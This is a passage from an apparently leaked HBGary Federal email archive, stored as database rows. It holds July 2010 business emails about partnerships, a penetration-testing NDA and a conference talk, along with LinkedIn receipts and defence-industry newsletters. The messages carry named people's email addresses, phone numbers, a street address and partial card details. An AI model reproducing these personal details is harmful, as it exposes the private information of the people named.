the\r\ninnovation like they used to have.  :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.  I talked to John about general\r\ncapabilities I think his shop needs and he agreed.  This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',14558,'aaron_hbgary_com/14558.html'),(8614,'2010-07-15','\"LinkedIn Receipts\" <Receipts@linkedin.com>','/aaron@hbgary.com/new/1297006627.M155726P14101Q3469.eml','\"Aaron Barr\" <aaron@hbgary.com>','Receipt for LinkedIn Purchase','\r\n\r\n  \r\n\r\n\r\n\r\n  Thank you for your purchase. Here is the receipt for your transaction.\r\n\r\n  \r\n    \r\n      \r\n      2029 Stierlin Ct, Mountain View, CA 94043 USACorporate Federal Tax ID: 47-0912023\r\n    \r\n  \r\n\r\n  \r\n    \r\n      Sold to:\r\n      \r\n        Aaron&nbsp;Barr\r\n        HBGary Federal 1223 Potomac School Rd\r\n         Mclean, va 22101 719.510.8478 \r\n      \r\n        Date: 7/15/2010\r\n        Order ID: 11105702 \r\n    \r\n  \r\n\r\n  \r\n    \r\n      Product Description\r\n      Qty\r\n      Rate\r\n      Price\r\n    \r\n\r\n      \r\n        \r\n          Business account: From July 15, 2010 to August 14, 2010\r\n        \r\n        1\r\n        $24.95\r\n        $24.95\r\n      \r\n\r\n  \r\n\r\n  \r\n    \r\n      Sub Total\r\n      $24.95\r\n    \r\n    \r\n      Amount Paid\r\n      $24.95\r\n    \r\n    \r\n      Balance Due\r\n      $0.00\r\n    \r\n  \r\n\r\n  $24.95 was billed to your Visa card ending in 5884 on 7/15/2010.\r\n  Transaction ID: 4155347\r\n\r\n  \r\n  \r\n\r\n  &copy; 2010 LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',7448,'aaron_hbgary_com/7448.html'),(8615,'2010-07-15','\"LinkedIn\" <PremiumAccounts@linkedin.com>','/aaron@hbgary.com/new/1297006627.M371696P14101Q3470.eml','\"Aaron Barr\" <aaron@hbgary.com>','Welcome to your LinkedIn Premium Account!','\r\n\r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n            \r\n              \r\n                \r\n                  LinkedIn Premium&nbsp;\r\n                \r\n                \r\n                  \r\n                    Dear Aaron,\r\n                    Welcome to LinkedIn Premium\r\n                    Finding &amp; contacting the right people just got easier\r\n                    Learn how to start using your Premium features &#187;\r\n                  \r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n\r\n    \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              Reach decision makers\r\n              Reach out directly to anyone on LinkedIn with InMail messages.More about InMail&nbsp;&#187;\r\n            \r\n            \r\n              Organize your contacts\r\n              Manage contacts with Profile Organizer and see who\'s viewed your profile.Try Profile Organizer&nbsp;&#187;\r\n            \r\n            \r\n              Find the right people, faster\r\n              Find exactly who you\'re looking for in half the time with premium filters.Start searching&nbsp;&#187; \r\n            \r\n          \r\n        \r\n      \r\n    \r\n    \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n        Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n        &copy; 2010, LinkedIn Corporation\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n',1052,'aaron_hbgary_com/1052.html'),(8616,'2010-07-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006631.M760459P14101Q3471.eml','keith.oanes@nekasg.com,keith.oanes@nekasg.com','HBGary','Hi Keith, As I mentioned on the phone, Aaron Barr and Bruce Parkman met sometime ago and it sounded like there could be some corporate synergies between our groups.  I was asked to follow up on this since I am located in Colorado Springs.  HBGary is a small software development and services company, headquartered in Sacramento, CA.  We specialize in all things related to malware.  Greg Hoglund is HBGary Inc&#39;s CEO and founded the company in 2003.  Greg is an accomplished author, world recognized leader in rootkit technology and was recently named one of &quot;10 hackers to know&quot; in Network Security magazine.  We offer a number of Cyber services including malware reverse engineering, vulnerability research, exploit development, incident response, penetration testing, and digital forensics.  We also have a mature product-line of COTS which assist in accomplishing those tasks.  \r\n\r\n\r\nI&#39;ve attached three whitepapers that I think you may find interesting.  The first is our analysis of the Aurora attack, the second is a how-to guide for using our REcon product to develop software exploits, and the third describes our latest Enterprise product, Active Defense.  \r\n\r\n\r\nIf you&#39;re interested, I&#39;d love to have an opportunity to discuss capabilities and Cyber related business development opportunities.  \r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\nhttp://www.hbgary.com\r\n',13723,'aaron_hbgary_com/13723.html'),(8617,'2010-07-15','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297006632.M888324P14101Q3472.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Stephen Day and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 15, 2010\r\n    AFCEA NOVA\r\n    \r\n	      Latest:\r\n	          2 discussions\r\n	      \r\n	      \r\n	        \r\n	      \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more &#187;\r\n    \r\n      \r\n      \r\n    \r\n\r\n      \r\nDiscussions (2)  \r\n\r\n    \r\n      \r\n        POSTED ON THE OIL COUNCIL EXECUTIVE GROUP \r\nDoes US Senators kicking of BP when it\'s down have anything to do with desire for American takeover to lower share P?\r\n8 hours ago\r\n        Add a comment  &raquo;\r\n\r\n      Started by Stephen Day, Chairman of the Board at Secure Waters Security Group. Inc\r\n        \r\n          \r\n                    BP oil spill: US politicians accuse BP over Lockerbie terrorist al-Megrahi - Telegraph TELEGRAPH.CO.UK\r\nDemocratic senators in the US have called for an investigation into BP&amp;rsquo;s interests in Libya, as they tried to connect the oil group with a deal to free a convicted terrorist.\r\n\r\nStephen Day &#x2022; Help me understand this...I am a bit slow and dull-witted. Please correct these few facts as I understand them. \r\n\r\n1. The British government suddenly release a known terrorist and murderer who killed hundreds of people. Allegations from British officials implicate BP as pushing for the release to get a favorable oil contract with Libya. \r\n\r\n2. They claim that the prisoner was ill and had only a short time to live. The three doctors who claimed that he has three months to live were paid by Libya. Other doctors were claiming he could live up to nine or more months. \r\n\r\n3.Libya to coerced the British Government as reported below in the Telegraph in the UK \r\n&quot;Mousa Kousa, a senior Libyan politician who was expelled from Britain in 1980 for boasting of a plot to kill Libyan dissidents in London, played a key role in the talks to free Megrahi, and threatened serious consequences if the prisoner died in jail. Mr Kousa, now the Libyan foreign minister, was once implicated in planning the Lockerbie bombing &#x2013; a claim he vehemently denies. According to the minutes of a meeting on Jan 22 between Libyan and Scottish officials: &#x201c;Mr Kousa stated that Mr al-Megrahi&#x2019;s death in Scotland would not be viewed well by the Muslims or Arabs. Nor would it be good for relations. \r\n\r\nhttp://www.telegraph.co.uk/news/worldnews/africaandindianocean/libya/6143073/Revealed-Libya-paid-for-medical-advice-that-helped-Lockerbie-bombers-release.html \r\n\r\n4. The revelations come after Jack Straw, the Justice Secretary, broke ranks and admitted publicly for the first time that trade and oil agreements were an essential part of the British Government&#x2019;s decision to include Megrahi in the PTA with Libya. Megrahi, the only man convicted of the Lockerbie bombing of December 1988 which killed 270 people, was freed on Aug 20. His release and the jubilant scenes in Tripoli, the Libyan capital, when he returned prompted an international outcry. \r\n\r\n5. The UK government admits that BP had encouraged the deal. BP last night said it was well-known that it had expressed its concerns to the UK government about the slow speed of Mr Megrahi&#x2019;s release but said it had not expressed any view on any terms or made representations governing the release. \r\n\r\nWhy was BP concerned with the release of a terrorist? \r\n\r\n6. If these charges, coming from UK and not from the USA, are true, then investigations by both the United Kingdom and the US Senate are in order and should be expected. \r\n\r\n7. Even if some other firms....like Mobil-Exxon....are pushing for more investigations, if BP and the UK are not culpable, then what is the concern? If these claims are true, then the US should consider how its closest ally has partnered with terrorists. \r\n\r\n8. Gordon Brown.who branded Iceland as a Terrorist State, has some serious explaining to do, not only to the USA but to the families of the fallen British servicemen who have heroically served in Iraq and Afghanistan. \r\n\r\nI do not want to see BP go bankrupt, but if this is true, then the British citizens and Parliament should be unrestrained in their disappointment. \r\n\r\nI fail to see that anyone is &quot;kicking BP when its down&quot;.\r\n24 minutes ago\r\n                By Stephen Day, Chairman of the Board at Secure Waters Security Group. Inc\r\n           \r\n          \r\n    \r\n\r\n    \r\n      \r\n        BP oil spill: US politicians accuse BP over Lockerbie terrorist al-Megrahi - Telegraph\r\n        Add a comment  &raquo;\r\n\r\n      Started by Stephen Day, Chairman of the Board at Secure Waters Security Group. Inc\r\n        \r\n          \r\n                    This will stimulate some interesting comments\r\nRegards\r\nStephen Day\r\n                By Stephen Day, Chairman of the Board at Secure Waters Security Group. Inc\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',11085,'aaron_hbgary_com/11085.html'),(8618,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006633.M500005P14101Q3473.eml','\"Tom Conroy\" <tom.conroy@ngc.com>','Good Samaritan','Tom,\r\n\r\nI am not sure either of us would get much out of it but would be worth discussing.  I was talking with the COO of a company called Archemedies.  The do a lot of forward deployed things, focused a lot on MOEs, messaging, etc.\r\n\r\nThey have an interesting relationship with Ericsson mobile and have an opportunity to help purchase cellular infrastructures in specific areas.  They talked to one organization and they weren\'t very interested, but I can think of maybe one that is, maybe it would be worth talking with Glenn and then we could talk about a few other things as well.\r\n\r\nIf you interested I could first set up a discussion with Archemedies so you could better understand the capability.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1008,'aaron_hbgary_com/1008.html'),(8619,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006641.M394841P14101Q3475.eml','calvin.smith@ngc.com','Ping','Hey Cal,\r\n\r\nYou asked me to ping you in a few weeks.  Want to get together?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14973,'aaron_hbgary_com/14973.html'),(8620,'2010-07-15','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297006641.M86632P14101Q3474.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Good Samaritan','Good idea.  We have an instant internal sanity check with Scott White.  He\'s\r\non vacation now but will be back on Monday.  How about if you call then and\r\nwe\'ll have a telecon to see if it makes sense to have the meeting.  Thanks\r\nfor thinking of us.  \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 3:38 PM\r\nTo: Conroy, Thomas W.\r\nSubject: EXTERNAL:Good Samaritan\r\n\r\nTom,\r\n\r\nI am not sure either of us would get much out of it but would be worth\r\ndiscussing.  I was talking with the COO of a company called Archemedies.\r\nThe do a lot of forward deployed things, focused a lot on MOEs, messaging,\r\netc.\r\n\r\nThey have an interesting relationship with Ericsson mobile and have an\r\nopportunity to help purchase cellular infrastructures in specific areas.\r\nThey talked to one organization and they weren\'t very interested, but I can\r\nthink of maybe one that is, maybe it would be worth talking with Glenn and\r\nthen we could talk about a few other things as well.\r\n\r\nIf you interested I could first set up a discussion with Archemedies so you\r\ncould better understand the capability.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3779,'aaron_hbgary_com/3779.html'),(8621,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006641.M931416P14101Q3476.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: EXTERNAL:Good Samaritan','Begin forwarded message:From: \"Conroy, Thomas W.\" &lt;Tom.Conroy@ngc.com&gt;Date: July 15, 2010 3:45:11 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: EXTERNAL:Good SamaritanGood idea. &nbsp;We have an instant internal sanity check with Scott White. &nbsp;He\'son vacation now but will be back on Monday. &nbsp;How about if you call then andwe\'ll have a telecon to see if it makes sense to have the meeting. &nbsp;Thanksfor thinking of us. &nbsp;-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, July 15, 2010 3:38 PMTo: Conroy, Thomas W.Subject: EXTERNAL:Good SamaritanTom,I am not sure either of us would get much out of it but would be worthdiscussing. &nbsp;I was talking with the COO of a company called Archemedies.The do a lot of forward deployed things, focused a lot on MOEs, messaging,etc.They have an interesting relationship with Ericsson mobile and have anopportunity to help purchase cellular infrastructures in specific areas.They talked to one organization and they weren\'t very interested, but I canthink of maybe one that is, maybe it would be worth talking with Glenn andthen we could talk about a few other things as well.If you interested I could first set up a discussion with Archemedies so youcould better understand the capability.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11434,'aaron_hbgary_com/11434.html'),(8622,'2010-07-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006646.M628439P14101Q3477.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Joe Pizzo\" <joe@hbgary.com>','FW: NMCIWG: Weekly Espionage Newsletter','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, July 14, 2010 8:57 PM\r\nSubject: FW: NMCIWG: Weekly Espionage Newsletter\r\n\r\n \r\n\r\nSubject: NMCIWG: Weekly Espionage Newsletter\r\n\r\nThis week\'s articles:\r\n\r\n*       China and the Effects of Cyber-Espionage\r\n\r\n*       Former AF officer gets 3 years for China spying\r\n\r\n*       Former Georgian President\'s Son Charged With Spying For Russia \r\n\r\n*       Google vs. China: The Tip of the Cyberwar\r\n\r\n*       Canada set to throw out ex-KGB spy\r\n\r\n*       Thanko\'s upgraded button spy cam\r\n\r\n',9236,'aaron_hbgary_com/9236.html'),(8623,'2010-07-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006647.M123807P14101Q3478.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Need signature for NDA - LANL Penetration Testing','FYI ------------ Forwarded message ----------From: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nDate: Thu, Jul 15, 2010 at 2:45 PMSubject: Re: Need signature for NDA - LANL Penetration TestingTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: John Harllee &lt;John.Harllee@agilex.com&gt;\r\nWe submitted the new proposal today and I expect that we will hear back next week.On Jul 15, 2010, at 4:03 PM, Ted Vera wrote:\r\nI returned the NDAs yesterday.  What&#39;s the latest word on the PT?Thanks,TedOn Wed, Jul 14, 2010 at 12:27 PM, Mari Jo Boynton &lt;MariJo.Boynton@agilex.com&gt; wrote:\r\n\r\nTed,\r\n\r\nLANL requires each person on the project to sign and submit a NDA. Attached is one for you and one for Mark Trynor. This is for the penetration testing project in New Mexico.\r\n\r\nIs it possible for you and Mark to sign, date and return to me via email before noon tomorrow?\r\n\r\nPlease let me know, thanks.\r\n\r\nMari Jo\r\n\r\n\r\nMari Jo Boynton\r\nProposal and Content Manager\r\nAgilex Technologies, Inc.\r\n5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\np:703.889.3922  |  f: 703.483.4900  |  m: 888.3AGILEX\r\nLEGAL DISCLAIMER: The information in this email is confidential. It is intended solely for the addressee. Access to this email by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful.\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',84,'aaron_hbgary_com/84.html'),(8624,'2010-07-15','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297006647.M417670P14101Q3479.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Looks like I\'m not going to be doing any RSA talks, nothing is  working','Thanks&nbsp;Greg.&nbsp;Sandra LePedis, who\'ve I\'ve been talking to re keynote panel, is still out of the office. She returns on Monday July 19th. I sent her a note, but would like to circle back with her when she is back in the office next week -- we may still be able to come up with some ideas.&nbsp;On the&nbsp;solo presentation, I realize there isn\'t much time to pull another abstract together, but one idea might pitching&nbsp; an asbtract tied to the last line of your current&nbsp;BH abstract -- now that we know all this information about our attackers, we need to put in place \"actionable defenses\" -- and your talk about focus on these defenses. Almost like a Part II to your BH presentation. If you like that idea, let me know. Thanks, K&nbsp;&nbsp;&nbsp;--- On Thu, 7/15/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Looks like I\'m not going to be doing any RSA talks, nothing is workingTo: \"Rich Cummings\" &lt;rich@hbgary.com&gt;, \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, July 15, 2010, 10:00 AM\r\n\r\n&nbsp;\r\nKaren, Team,\r\n&nbsp;\r\nI have not been able to put anything together, after numerous attempts, that I am comfortable committing to.&nbsp; That goes for a talk and also for a keynote panel.&nbsp; While I have tried to get some input from all of you to help me, in the end I still don\'t have something that is working out.&nbsp; \r\n&nbsp;\r\nI do have an existing talk, the one I am giving at Blackhat, which could be pitched.&nbsp; It would be fine, and updated in some manner or another, for RSA.\r\n&nbsp;\r\nThe threat intel stuff isn\'t gelled - and to really do a good low level talk, would require commititng HBGary to a number of activities.&nbsp; As a high level talk it just sounds like everybody else\'s \"cyber threat and doom\" talk - I can\'t make it stand out from the rest of the bullshit.\r\n&nbsp;\r\nAs for the keynote panel, I just don\'t have any ideas on what it could be on.\r\n&nbsp;\r\n-Greg\r\n\r\n',13321,'aaron_hbgary_com/13321.html'),(8625,'2010-07-15','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1297006647.M742602P14101Q3480.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n					\r\n				\r\n				\r\n					\r\n 				\r\n				\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n							\r\n						    	Thursday, July 15, 2010 \r\n								VOLUME 7 ISSUE 10 \r\n							\r\n							\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					In This Issue \r\n			        \r\n			          Feature Articles\r\n			          News Briefs\r\n			          SIGNAL Online Exclusives\r\n			          Currently in SIGNAL\r\n			          Next month in SIGNAL\r\n			          Homefront Help\r\n			          New Products\r\n			          Survey Question\r\n			          Right Now on SIGNAL Scape\r\n			          AFCEA News\r\n			        \r\n					 \r\n					\r\n					\r\n						\r\n							&nbsp;\r\n							&nbsp;\r\n							 \r\n							&nbsp;\r\n						\r\n					\r\n					\r\n					\r\n			        \r\n					\r\n						\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n					\r\n				\r\n		        \r\n         Survey Question \r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								Should President Obama have accepted Gen. Stanley McCrystal\'s resignation over the comments the general made in the Rolling Stone article \"The Runaway General\"?\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  Absolutely. The president had no choice.&nbsp;No. A country\'s military strategy should not depend on comments made by one general in one magazine.&nbsp;Not sure. I would need to know more details.&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        Guest Blog: Cybersecurity Is Asymmetric\r\n		Generals Sound Off for Signal Corps 150th Anniversary\r\n        Cool App-titude: PTSD Support\r\n        \r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nWarfighter Support Agencies IT DayWarfighter, Combat Support Agencies07/15/2010Sheraton Premiere at Tysons Corner , Vienna, VA details ...Monthly Luncheon09/10/2010Tysons Corner, VA details ...AFCEA DC Monthly Panel Series09/27/2010Pentagon City Ritz Carlton, Arlington, VA details ...AFCEA Belvoir Luncheon09/29/2010Ft. Belvoir Officers Club, Ft. Belvoir, VA details ...Monthly Luncheon10/15/2010Tysons Corner, VA details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n			\r\n			\r\nFeature Articles\r\nArmy Deploying Enhanced Signals Intelligence Vehicle to Afghanistan\r\nService introduces Prophet Enhanced system into the field at lightning speed under ISR surge. [Read more...] \r\nDefense Bloggers of the Highest Order\r\n  In a headline-driven nation where the death of Anna Nicole Smith bumps video of a battle in Baghdad off the news, a roundtable program from the U.S. Defense Department&rsquo;s Emerging Media Directorate engages bloggers and downrange commanders in rich conversation. [Read more...]\r\nOnline Geospatial Network Aligns Army and Air Force Data\r\nThe U.S. Army and Air Force are on the same page&mdash;saving time and money by sharing one geospatial data network. [Read more...] \r\n\r\n\r\n News Briefs\r\nProgram to Demonstrate Aerial Refueling of UAVs\r\n  \r\nThe Defense Advanced Research Projects Agency is exploring the concept of an unmanned aerial vehicle (UAV) refueling another in midair. The agency has awarded a $33 million contract to Northrop Grumman to demonstrate aerial refueling of a NASA Global Hawk UAV by a sister ship. The program, designated KQ-X, will utilize two high-altitude, long-endurance (HALE) UAVs in a completely autonomous engagement. One aircraft will pump fuel into the other in flight through a hose-and-drogue refueling system. The demonstration will take place at a much higher altitude than previously demonstrated with manned aircraft, and it will represent the first time HALE UAVs have flown in formation.\r\nResearch Increases Usability of the Terahertz Frequency\r\n  Scientists at Sandia National Laboratories are a step closer to reducing the size and enhancing the functionality of devices operating in the terahertz (THz) frequency spectrum. Some terahertz frequencies can be used to penetrate clothing and potentially identify chemical or biological weapons and narcotics. Since 2002, researchers have known that THz quantum cascade lasers could offer advantages in security, communications and radars, but the systems to employ them are large and formed of discrete components. Sandia\'s work combines a detector and laser on the same chip to create a compact receiver, rendering precision alignment of optical components unnecessary and moving researchers closer to smaller devices.\r\nTwo Defense Network Organizations Face Possible Elimination\r\n  The Joint Task Force-Global Network Operations and the Joint Function Component Command-Network Warfare &ldquo;may be disestablished in the near future,&rdquo; according to a recently updated Joint Publication 6-0, the official military doctrine for communications systems support to joint operations. Published by the U.S. Joint Chiefs of Staff, the doctrine officially bestows upon the U.S. Strategic Command the responsibility for global network operations and defense in coordination with the chairman of the Joint Chiefs of Staff and the other combatant commands. Under U.S. Strategic Command, United States Cyber Command focuses on military cyberspace operations.\r\n\r\nSIGNAL Online Exclusive Articles\r\n\r\n\r\n\r\nMining Social Networks for Clues\r\n  An ultra-fast search algorithm that finds patterns in social networks could impact national security, businesses and individuals. A team of researchers developed the computer program, which can be used to uncover covert agents and terrorist groups communicating via social media sites.  [Read more...]\r\nOpen Network Aids Haiti Response\r\n  Government agencies and other organizations responding to the devastating earthquake that struck Haiti in January were able to coordinate efforts better thanks to the deployment of new information-sharing technology.  [Read more...]\r\n\r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n    \r\n      \r\n      July 2010\r\n      Focus: U.S. Army Technologies\r\n      The Army&rsquo;s mission used to be simple: fight and win a land war, and deter attacks by having that capability. But as the definition of land warfare has changed, so has the Army&rsquo;s mission. Now, the Army must be able to respond to a diverse range of conflicts that can occur virtually anywhere&mdash;including cyberspace. SIGNAL Magazine&rsquo;s July issue begins with a focus report on how the Army is applying a host of new technologies to address current and future missions, however diverse they may be. \r\nFocus: Power Technologies\r\n  No topic may be hotter than power. The focus on replacing fossil fuels in the private sector has carried over to the military, which faces its own logistics challenges as it seeks to power a wide range of platforms in distant theaters. And, the continuing growth of the use of electronics&mdash;along with the continuing shrinkage in their size&mdash;has placed new requirements for portable power sources that can compress energy into a small space without creating an inadvertent explosive device. SIGNAL looks at some of the research into new sources of power that soon may fuel a high-technology military machine.\r\nRead these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         \r\n       \r\n         Next Month in SIGNAL Magazine\r\n         Focus: Information Security\r\n           No one needs a primer on the importance of information security. It touches virtually every aspect of defense and homeland security issues, and its reach extends throughout military, civilian government, private-sector and public activities. Public awareness is high, especially in areas that are potential homeland security targets. However, much of the threat remains unknown to most as its nature continues to change. SIGNAL&rsquo;s August issue looks at many of the issues that define information security along with possible solutions to this dynamic challenge.\r\n         Focus: Sensors\r\n         Electronics have been used as an intelligence collection device as soon as they appeared on the battlefield. Today, the information revolution has left its mark on sensor technology. No longer the purview of intelligence, sensors are now providing a range of information to diverse users. Increased technology sophistication has led to new capabilities that in turn have changed the modus operandi for individuals and organizations alike. SIGNAL&rsquo;s August focus on sensors looks at some of the new technologies emerging from laboratories that offer even greater changes in the near future. \r\n         \r\n         Community \r\n          &nbsp;\r\n         &nbsp;\r\n				  \r\n				\r\n			\r\n\r\n			\r\n			  \r\n					\r\n			\r\n\r\n			\r\n					\r\n				\r\n				\r\n					\r\n			